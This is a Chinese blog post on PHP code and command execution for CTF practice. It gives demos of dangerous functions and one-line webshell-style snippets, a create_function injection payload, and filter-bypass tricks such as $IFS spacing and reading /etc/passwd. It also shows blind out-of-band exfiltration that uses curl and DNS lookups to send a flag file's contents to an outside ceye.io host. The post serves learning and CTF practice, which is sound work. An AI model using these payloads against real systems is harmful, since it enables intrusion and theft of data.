<!DOCTYPE html>












  


<html class="theme-next muse use-motion" lang="cn">
<head>
  <meta charset="UTF-8"/>
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=2"/>
<meta name="theme-color" content="#222">






  
  
    
      
    
    
      
    
  <script src="//cdn.bootcss.com/pace/1.0.2/pace.min.js"></script>
  <link href="//cdn.bootcss.com/pace/1.0.2/themes/blue/pace-theme-flash.min.css" rel="stylesheet">







<meta http-equiv="Cache-Control" content="no-transform" />
<meta http-equiv="Cache-Control" content="no-siteapp" />



















  
  
  
  

  
    
    
  

  
    
      
    

    
  

  

  
    
      
    

    
  

  
    
      
    

    
  

  
    
    
    <link href="//fonts.googleapis.com/css?family=Lato:300,300italic,400,400italic,700,700italic|Monda:300,300italic,400,400italic,700,700italic|Lobster Two:300,300italic,400,400italic,700,700italic|PT Mono:300,300italic,400,400italic,700,700italic&subset=latin,latin-ext" rel="stylesheet" type="text/css">
  






  

<link href="//maxcdn.bootstrapcdn.com/font-awesome/4.7.0/css/font-awesome.min.css" rel="stylesheet" type="text/css" />

<link href="/css/main.css?v=6.4.0" rel="stylesheet" type="text/css" />


  <link rel="apple-touch-icon" sizes="180x180" href="/images/apple-touch-icon-next.png?v=6.4.0">


  <link rel="icon" type="image/png" sizes="32x32" href="/images/favicon-32x32-next.png?v=6.4.0">


  <link rel="icon" type="image/png" sizes="16x16" href="/images/favicon-16x16-next.png?v=6.4.0">


  <link rel="mask-icon" href="/images/logo.svg?v=6.4.0" color="#222">









<script type="text/javascript" id="hexo.configurations">
  var NexT = window.NexT || {};
  var CONFIG = {
    root: '/',
    scheme: 'Muse',
    version: '6.4.0',
    sidebar: {"position":"left","display":"post","offset":12,"b2t":false,"scrollpercent":false,"onmobile":false},
    fancybox: false,
    fastclick: false,
    lazyload: false,
    tabs: true,
    motion: {"enable":true,"async":false,"transition":{"post_block":"fadeIn","post_header":"slideDownIn","post_body":"slideDownIn","coll_header":"slideLeftIn","sidebar":"slideUpIn"}},
    algolia: {
      applicationID: '',
      apiKey: '',
      indexName: '',
      hits: {"per_page":10},
      labels: {"input_placeholder":"Search for Posts","hits_empty":"We didn't find any results for the search: ${query}","hits_stats":"${hits} results found in ${time} ms"}
    }
  };
</script>


  




  <meta name="description" content="醉过才知酒浓 爱过才知情重 你不能做我的诗，正如我不是你的梦。  我越来越搞不懂代码执行和命令执行了…. 本文可能会很长，愿能看完…">
<meta name="keywords" content="-命令执行 -代码执行 -漏洞挖掘 -CTF -Bypass">
<meta property="og:type" content="article">
<meta property="og:title" content="聊一聊代码、命令执行">
<meta property="og:url" content="https://lengjibo.github.io/exec/index.html">
<meta property="og:site_name" content="冷逸的个人博客|开往安河桥北~">
<meta property="og:description" content="醉过才知酒浓 爱过才知情重 你不能做我的诗，正如我不是你的梦。  我越来越搞不懂代码执行和命令执行了…. 本文可能会很长，愿能看完…">
<meta property="og:locale" content="cn">
<meta property="og:updated_time" content="2019-08-22T08:30:26.584Z">
<meta name="twitter:card" content="summary">
<meta name="twitter:title" content="聊一聊代码、命令执行">
<meta name="twitter:description" content="醉过才知酒浓 爱过才知情重 你不能做我的诗，正如我不是你的梦。  我越来越搞不懂代码执行和命令执行了…. 本文可能会很长，愿能看完…">



  <link rel="alternate" href="/../../.deploy_git/atom.xml" title="冷逸的个人博客|开往安河桥北~" type="application/atom+xml" />




  <link rel="canonical" href="https://lengjibo.github.io/exec/"/>



<script type="text/javascript" id="page.configurations">
  CONFIG.page = {
    sidebar: "",
  };
</script>

  <title>聊一聊代码、命令执行 | 冷逸的个人博客|开往安河桥北~</title>
  









  <noscript>
  <style type="text/css">
    .use-motion .motion-element,
    .use-motion .brand,
    .use-motion .menu-item,
    .sidebar-inner,
    .use-motion .post-block,
    .use-motion .pagination,
    .use-motion .comments,
    .use-motion .post-header,
    .use-motion .post-body,
    .use-motion .collection-title { opacity: initial; }

    .use-motion .logo,
    .use-motion .site-title,
    .use-motion .site-subtitle {
      opacity: initial;
      top: initial;
    }

    .use-motion {
      .logo-line-before i { left: initial; }
      .logo-line-after i { right: initial; }
    }
  </style>
</noscript>

</head>

<body itemscope itemtype="http://schema.org/WebPage" lang="cn">

  
  
    
  

  <div class="container sidebar-position-left page-post-detail">
    <div class="headband"></div>

    <header id="header" class="header" itemscope itemtype="http://schema.org/WPHeader">
      <div class="header-inner"><div class="site-brand-wrapper">
  <div class="site-meta ">
    

    <div class="custom-logo-site-title">
      <a href="/" class="brand" rel="start">
        <span class="logo-line-before"><i></i></span>
        <span class="site-title">冷逸的个人博客|开往安河桥北~</span>
        <span class="logo-line-after"><i></i></span>
      </a>
    </div>
    
  </div>

  <div class="site-nav-toggle">
    <button aria-label="Toggle navigation bar">
      <span class="btn-bar"></span>
      <span class="btn-bar"></span>
      <span class="btn-bar"></span>
    </button>
  </div>
</div>



<nav class="site-nav">
  
    <ul id="menu" class="menu">
      
        
        
        
          
          <li class="menu-item menu-item-home">
    <a href="/" rel="section">
      <i class="menu-item-icon fa fa-fw fa-home"></i> <br />Startseite</a>
  </li>
        
        
        
          
          <li class="menu-item menu-item-about">
    <a href="/about/" rel="section">
      <i class="menu-item-icon fa fa-fw fa-user"></i> <br />Über</a>
  </li>
        
        
        
          
          <li class="menu-item menu-item-tags">
    <a href="/tags/" rel="section">
      <i class="menu-item-icon fa fa-fw fa-tags"></i> <br />Tags</a>
  </li>
        
        
        
          
          <li class="menu-item menu-item-categories">
    <a href="/categories/" rel="section">
      <i class="menu-item-icon fa fa-fw fa-th"></i> <br />Kategorien</a>
  </li>
        
        
        
          
          <li class="menu-item menu-item-archives">
    <a href="/archives/" rel="section">
      <i class="menu-item-icon fa fa-fw fa-archive"></i> <br />Archiv</a>
  </li>
        
        
        
          
          <li class="menu-item menu-item-book">
    <a href="/book/" rel="section">
      <i class="menu-item-icon fa fa-fw fa-book"></i> <br />book</a>
  </li>

      
      
    </ul>
  

  
    

  

  
</nav>



  



</div>
    </header>

    


    <main id="main" class="main">
      <div class="main-inner">
        <div class="content-wrap">
          
          <div id="content" class="content">
            

  <div id="posts" class="posts-expand">
    

  

  
  
  

  

  <article class="post post-type-normal" itemscope itemtype="http://schema.org/Article">
  
  
  
  <div class="post-block">
    <link itemprop="mainEntityOfPage" href="https://lengjibo.github.io/exec/">

    <span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
      <meta itemprop="name" content="冷逸">
      <meta itemprop="description" content="做一个温柔的人...">
      <meta itemprop="image" content="http://ww1.sinaimg.cn/large/007F8GgBly1g7vony4ltaj308w08wq30.jpg">
    </span>

    <span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
      <meta itemprop="name" content="冷逸的个人博客|开往安河桥北~">
    </span>

    
      <header class="post-header">

        
        
          <h1 class="post-title" itemprop="name headline">聊一聊代码、命令执行
              
            
          </h1>
        

        <div class="post-meta">
        
          <span class="post-time">

            
            
            

            
              <span class="post-meta-item-icon">
                <i class="fa fa-calendar-o"></i>
              </span>
              
                <span class="post-meta-item-text">Veröffentlicht am</span>
              

              
                
              

              <time title="Post created: 2019-08-22 09:17:51 / Updated at: 16:30:26" itemprop="dateCreated datePublished" datetime="2019-08-22T09:17:51+08:00">2019-08-22</time>
            

            
              

              
            
          </span>

          
            <span class="post-category" >
            
              <span class="post-meta-divider">|</span>
            
              <span class="post-meta-item-icon">
                <i class="fa fa-folder-o"></i>
              </span>
              
                <span class="post-meta-item-text">in</span>
              
              
                <span itemprop="about" itemscope itemtype="http://schema.org/Thing"><a href="/categories/web安全/" itemprop="url" rel="index"><span itemprop="name">web安全</span></a></span>

                
                
              
            </span>
          

          
            
          

          
          

          
            <span class="post-meta-divider">|</span>
            <span class="post-meta-item-icon"
            >
            <i class="fa fa-eye"></i>
             Views:  
            <span class="busuanzi-value" id="busuanzi_value_page_pv" ></span>
            </span>
          

          

          

        </div>
      </header>
    

    
    
    
    <div class="post-body" itemprop="articleBody">

      
      

      
        <p>醉过才知酒浓</p>
<p>爱过才知情重</p>
<p>你不能做我的诗，正如我不是你的梦。</p>
<hr>
<p>我越来越搞不懂代码执行和命令执行了….</p>
<p>本文可能会很长，愿能看完…</p>
<a id="more"></a>
<h2 id="代码执行"><a href="#代码执行" class="headerlink" title="代码执行"></a>代码执行</h2><h3 id="代码执行概念"><a href="#代码执行概念" class="headerlink" title="代码执行概念"></a>代码执行概念</h3><p>远程代码执行实际上是调用服务器网站代码进行执行。</p>
<h3 id="常见执行方法"><a href="#常见执行方法" class="headerlink" title="常见执行方法"></a>常见执行方法</h3><h4 id="eval"><a href="#eval" class="headerlink" title="eval"></a>eval</h4><p>eval():将字符串当做函数进行执行（需要传入一个完整的语句）</p>
<p>demo：</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="keyword">eval</span>(<span class="string">'echo "hello";'</span>);</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure>
<p>执行后就会输出一个hello </p>
<h4 id="assert"><a href="#assert" class="headerlink" title="assert"></a>assert</h4><p>assert（）：判断是否为字符串，是则当成代码执行</p>
<p>demo：</p>
<p>低版本：</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span> assert($_POST[<span class="string">'a'</span>]);<span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure>
<p>php官方在php7中更改了assert函数。在php7.0.29之后的版本不支持动态调用。</p>
<p>7.0之后的demo</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line">$a = <span class="string">'assert'</span>;</span><br><span class="line">$a(phpinfo());</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure>
<h4 id="call-user-func"><a href="#call-user-func" class="headerlink" title="call_user_func"></a>call_user_func</h4><p>call_user_func（）：回调函数，可以使用is_callable查看是否可以进行调用</p>
<p>demo:</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line">highlight_file(<span class="keyword">__FILE__</span>);</span><br><span class="line">$a = <span class="string">'system'</span>;</span><br><span class="line">$b = <span class="string">'pwd'</span>;</span><br><span class="line">call_user_func($a,$b);</span><br><span class="line">call_user_func(<span class="string">'eval'</span>,<span class="string">'phpinfo()'</span>);</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure>
<p>其中基本可以传递任何内置的和用户自定义的函数，<br>除了语言结构：array、echo、empty、eval…</p>
<h4 id="call-user-fuc-array"><a href="#call-user-fuc-array" class="headerlink" title="call_user_fuc_array"></a>call_user_fuc_array</h4><p>call_user_fuc_array（）：回调函数，参数为数组</p>
<p>demo：</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line">highlight_file(<span class="keyword">__FILE__</span>);</span><br><span class="line">$array[<span class="number">0</span>] = $_POST[<span class="string">'a'</span>];</span><br><span class="line">call_user_func_array(<span class="string">"assert"</span>,$array); </span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure>
<h4 id="create-function"><a href="#create-function" class="headerlink" title="create_function"></a>create_function</h4><p>create_function（）：创建匿名函数</p>
<p>string create_function(string $args,string $code)</p>
<p>args是要创建的函数的参数，code是函数内的代码</p>
<p>demo：</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line">highlight_file(<span class="keyword">__FILE__</span>);</span><br><span class="line">$a = create_function(<span class="string">'$code'</span>, <span class="string">'echo $code'</span>);</span><br><span class="line">$b = <span class="string">'hello'</span>;</span><br><span class="line">$a($b);</span><br><span class="line"></span><br><span class="line">$a = <span class="string">'phpinfo();'</span>;</span><br><span class="line">$b = create_function(<span class="string">" "</span>, $a);</span><br><span class="line">$b();</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure>
<h4 id="preg-replace"><a href="#preg-replace" class="headerlink" title="preg_replace"></a>preg_replace</h4><p>preg_replace（）：当为/e时代码会执行，前提是不超过php7</p>
<p>demo:</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line">highlight_file(<span class="keyword">__FILE__</span>);</span><br><span class="line">$a = <span class="string">'phpinfo()'</span>;</span><br><span class="line">$b = preg_replace(<span class="string">"/abc/e"</span>, $a, <span class="string">'abc'</span>);</span><br><span class="line">？&gt;</span><br></pre></td></tr></table></figure>
<h4 id="array-map"><a href="#array-map" class="headerlink" title="array_map"></a>array_map</h4><p>array_map（）：为数组的每个元素应用回调函数</p>
<p>demo:</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line">highlight_file(<span class="keyword">__FILE__</span>);</span><br><span class="line">$a = $_GET[<span class="string">'a'</span>];</span><br><span class="line">$b = $_GET[<span class="string">'b'</span>];</span><br><span class="line">$array[<span class="number">0</span>] = $b;</span><br><span class="line">$c = array_map($a,$array);</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure>
<p>用法：/?a=assert&amp;b=phpinfo();</p>
<h4 id="array-filter"><a href="#array-filter" class="headerlink" title="array_filter"></a>array_filter</h4><p>array_filter():依次将 array 数组中的每个值传递到 callback 函数。如果 callback 函数返回 true，则 array 数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。 </p>
<p>demo:</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line">highlight_file(<span class="keyword">__FILE__</span>);</span><br><span class="line">$array[<span class="number">0</span>] = $_GET[<span class="string">'a'</span>];</span><br><span class="line">array_filter($array,<span class="string">'assert'</span>);</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure>
<h4 id="usort"><a href="#usort" class="headerlink" title="usort"></a>usort</h4><p>usort():使用自定义函数对数组进行排序</p>
<p>demo:</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line">highlight_file(<span class="keyword">__FILE__</span>);</span><br><span class="line">usort(...$_GET);</span><br><span class="line"><span class="comment">#usort($_GET[1],'assert');</span></span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure>
<p>…$<em>GET是php5.6引入的新特性。即将数组展开成参数的形式</em></p>
<p>用法：</p>
<p>1[]=phpinfo()&amp;1[]=123&amp;2[]=assert</p>
<p>大致过程：</p>
<p>大概过程就是，GET变量被展开成两个参数[‘phpinfo’, ‘123’]和assert，传入usort函数。usort函数的第二个参数是一个回调函数assert，其调用了第一个参数中的phpinfo();</p>
<h4 id="uasort"><a href="#uasort" class="headerlink" title="uasort"></a>uasort</h4><p>uasort():使用用户自定义的比较函数对数组的值进行排序并保持索引关联</p>
<p>demo:</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line">highlight_file(<span class="keyword">__FILE__</span>);</span><br><span class="line">$e = <span class="string">'assert'</span>;</span><br><span class="line">$arr = <span class="keyword">array</span>($_REQUEST[<span class="string">'pass'</span>],<span class="string">'test'</span> );</span><br><span class="line">uasort($arr, $e);</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure>
<h4 id=""><a href="#" class="headerlink" title="${}"></a>${}</h4><p>${}:中间的php代码将会被解析</p>
<p>demo：</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line">highlight_file(<span class="keyword">__FILE__</span>);</span><br><span class="line">$&#123;phpinfo()&#125;;</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure>
<h3 id="代码执行例题"><a href="#代码执行例题" class="headerlink" title="代码执行例题"></a>代码执行例题</h3><p>题目：</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line">highlight_file(<span class="keyword">__FILE__</span>);</span><br><span class="line">$price = $_GET[<span class="string">'price'</span>];</span><br><span class="line">$code = <span class="string">'echo $name.'</span>.<span class="string">'的价格是'</span>.$price.<span class="string">';'</span>;</span><br><span class="line">$b = create_function(<span class="string">'$name'</span>, $code);</span><br><span class="line">$b(<span class="string">'iphone'</span>);</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure>
<p>代码逻辑很清楚，调用b这个匿名函数，参数为iphone。</p>
<p>在整个过程中，我们能够控制的只有name的值，我们把这个函数b拆开来看就变成了下面这样：</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">b</span><span class="params">($name)</span></span>&#123;</span><br><span class="line"> <span class="keyword">echo</span> $name.<span class="string">'.'</span>的价格是<span class="string">'.$price;</span></span><br><span class="line"><span class="string">&#125;</span></span><br></pre></td></tr></table></figure>
<p>所以最后构造payload为：123;}phpinfo();/*</p>
<p>那么传入后代码就会变成下面这样</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">b</span><span class="params">($name)</span></span>&#123;</span><br><span class="line"> <span class="keyword">echo</span> $name.</span><br><span class="line">     &#125;phpinfo();<span class="comment">/*'.'的价格是'.$price;</span></span><br><span class="line"><span class="comment">&#125;</span></span><br></pre></td></tr></table></figure>
<h2 id="命令执行"><a href="#命令执行" class="headerlink" title="命令执行"></a>命令执行</h2><h3 id="命令执行概念"><a href="#命令执行概念" class="headerlink" title="命令执行概念"></a>命令执行概念</h3><p>通过易受攻击的应用在主机上执行任意命令。</p>
<h3 id="命令执行常见函数"><a href="#命令执行常见函数" class="headerlink" title="命令执行常见函数"></a>命令执行常见函数</h3><h4 id="system"><a href="#system" class="headerlink" title="system"></a>system</h4><p>system:可以执行系统命令并将其输出</p>
<p>demo：</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line">highlight_file(<span class="keyword">__FILE__</span>);</span><br><span class="line">system(<span class="string">'pwd'</span>);</span><br><span class="line">system(<span class="string">'whoami'</span>);</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure>
<h4 id="exec"><a href="#exec" class="headerlink" title="exec"></a>exec</h4><p>exec：执行命令，但无输出，可以使用output进行输出</p>
<p>demo：</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line">highlight_file(<span class="keyword">__FILE__</span>);</span><br><span class="line">exec(<span class="string">'pwd'</span>,$b);</span><br><span class="line">var_dump($b);</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure>
<h4 id="passthru"><a href="#passthru" class="headerlink" title="passthru"></a>passthru</h4><p>passthru:执行命令并输出</p>
<p>demo：</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line">highlight_file(<span class="keyword">__FILE__</span>);</span><br><span class="line">passthru(<span class="string">'ls'</span>);</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure>
<h4 id="shell-exec"><a href="#shell-exec" class="headerlink" title="shell_exec"></a>shell_exec</h4><p>shell_exec:执行命令，但无回显</p>
<p>demo：</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line">highlight_file(<span class="keyword">__FILE__</span>);</span><br><span class="line">var_dump(shell_exec(<span class="string">'ls'</span>));</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure>
<h4 id="反引号"><a href="#反引号" class="headerlink" title="反引号"></a>反引号</h4><p>反引号：执行shell命令，并返回输出的字符串</p>
<p>demo：</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line">highlight_file(<span class="keyword">__FILE__</span>);</span><br><span class="line">$a = <span class="string">'pwd'</span>;</span><br><span class="line"><span class="keyword">echo</span> `$a`;</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure>
<h4 id="ob-start"><a href="#ob-start" class="headerlink" title="ob_start"></a>ob_start</h4><p>ob_start:打开输出控制缓冲</p>
<p>demo：</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line">highlight_file(<span class="keyword">__FILE__</span>);</span><br><span class="line">ob_start(<span class="string">"system"</span>);</span><br><span class="line"><span class="keyword">echo</span> <span class="string">"whoami"</span>;</span><br><span class="line">ob_end_flush();</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure>
<h2 id="绕过"><a href="#绕过" class="headerlink" title="绕过"></a>绕过</h2><h3 id="常见分隔符"><a href="#常见分隔符" class="headerlink" title="常见分隔符"></a>常见分隔符</h3><ul>
<li>换行符 %0a</li>
<li>回车符 %0d</li>
<li>连续指令 ；</li>
<li>后台进程 &amp;</li>
<li>管道符 |</li>
<li>逻辑 || &amp;&amp;</li>
</ul>
<h3 id="绕过空格"><a href="#绕过空格" class="headerlink" title="绕过空格"></a>绕过空格</h3><ul>
<li>$IFS</li>
<li>&lt;</li>
<li>${IFS}</li>
<li>$IFS$9</li>
<li>%09</li>
</ul>
<h3 id="各类符号"><a href="#各类符号" class="headerlink" title="各类符号"></a>各类符号</h3><p>即使用”substr string pos len“的方法进行取字符</p>
<p>demo：</p>
<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">echo "$&#123;PATH:0:1&#125;"</span><br><span class="line">echo "`expr$IFS\substr\$IFS\$(pwd)\$IFS\1\$IFS\1`"</span><br><span class="line">echo `$(expr$&#123;IFS&#125;substr$&#123;IFS&#125;$PWD$&#123;IFS&#125;1$&#123;IFS&#125;1)`</span><br><span class="line"><span class="meta">expr$</span>&#123;IFS&#125;substr$&#123;IFS&#125;$SESSION_MANAGER$&#123;IFS&#125;6$&#123;IFS&#125;1</span><br></pre></td></tr></table></figure>
<ul>
<li>%0a</li>
<li>%0d</li>
<li>%00</li>
<li>%20</li>
</ul>
<h3 id="敏感字符绕过"><a href="#敏感字符绕过" class="headerlink" title="敏感字符绕过"></a>敏感字符绕过</h3><p>变量绕过</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">a=l,b=s;$a$b</span><br></pre></td></tr></table></figure>
<p>base64编码绕过</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">echo &apos;cat&apos; | base64</span><br></pre></td></tr></table></figure>
<p>未定义的初始化变量</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cat$b /etc/passwd</span><br></pre></td></tr></table></figure>
<p>连接符</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cat /etc/pass’w’d</span><br></pre></td></tr></table></figure>
<p>使用通配符：</p>
<p>如：</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/???/?s --help</span><br></pre></td></tr></table></figure>
<p>题目地址：<a href="http://moectf.cn:10012/" target="_blank" rel="noopener">http://moectf.cn:10012/</a></p>
<p>payload：/?cmd=eval($_GET[%27a%27]);&amp;a=system(ls);</p>
<h3 id="无回显"><a href="#无回显" class="headerlink" title="无回显"></a>无回显</h3><p>1、使用延时函数，比如：ls|sleep 3<br>2、使用http,比如：ls|curl ip:port<br>3、使用dns</p>
<p>demo：</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line">highlight_file(<span class="keyword">__FILE__</span>);</span><br><span class="line"><span class="keyword">include</span>(<span class="string">"where_flag.php"</span>);</span><br><span class="line"><span class="keyword">echo</span> <span class="string">"ping"</span>;</span><br><span class="line">$ip = (string)$_GET[<span class="string">'ping'</span>];</span><br><span class="line">$ip = str_replace(<span class="string">"&gt;"</span>, <span class="string">"0.0"</span>, $ip);</span><br><span class="line">shell_exec(<span class="string">"ping"</span>.$ip);</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure>
<p>思路1：使用cp命令将where_flag.php改名，然后下载得到flag</p>
<p>如：127.0.0.1;cp where_is_flag.php 1.txt</p>
<p>思路二：dnslog外带</p>
<p>因为dnslog不能带有空格，所以使用sed去空格</p>
<p>最后的payload：</p>
<p>/?ping=<code>cat where_flag.php|sed s/[[:space:]]//</code>.php.xxxx.ceye.io</p>
<p>因为ceye无法处理换行，所以我们可以使用下面的方法处理换行问题</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ping=127.0.0.1 -c 1;for i in `cat where_is_flag.php`;do ping $i.xxx.ceye.io;done;</span><br></pre></td></tr></table></figure>
<p>注意：只能在curl下有效</p>
<h3 id="长度绕过"><a href="#长度绕过" class="headerlink" title="长度绕过"></a>长度绕过</h3><p>如15位命令执行、7位命令执行、5位命令执行、4位命令执行</p>
<p>具体参考：<a href="https://xz.aliyun.com/t/1579" target="_blank" rel="noopener">https://xz.aliyun.com/t/1579</a></p>
<h3 id="无字母数字命令执行（webshell）"><a href="#无字母数字命令执行（webshell）" class="headerlink" title="无字母数字命令执行（webshell）"></a>无字母数字命令执行（webshell）</h3><p>1、异或</p>
<p>因为每个字符的本质是ascii码值，而ascii可以变成二进制，二进制进行xor后再转换，就是字母</p>
<p>2、取反</p>
<p>其实同理，将字符转换为二进制后取反</p>
<p>3、自增</p>
<p>具体可查看：</p>
<p><a href="https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html" target="_blank" rel="noopener">https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html</a><br><a href="https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html" target="_blank" rel="noopener">https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html</a><br><a href="https://www.php.net/manual/zh/language.operators.increment.php" target="_blank" rel="noopener">https://www.php.net/manual/zh/language.operators.increment.php</a></p>

      
    </div>

    

    
    
    

    <div>
      
        
<div class="my_post_copyright">
  <script src="//cdn.bootcss.com/clipboard.js/1.5.10/clipboard.min.js"></script>
  
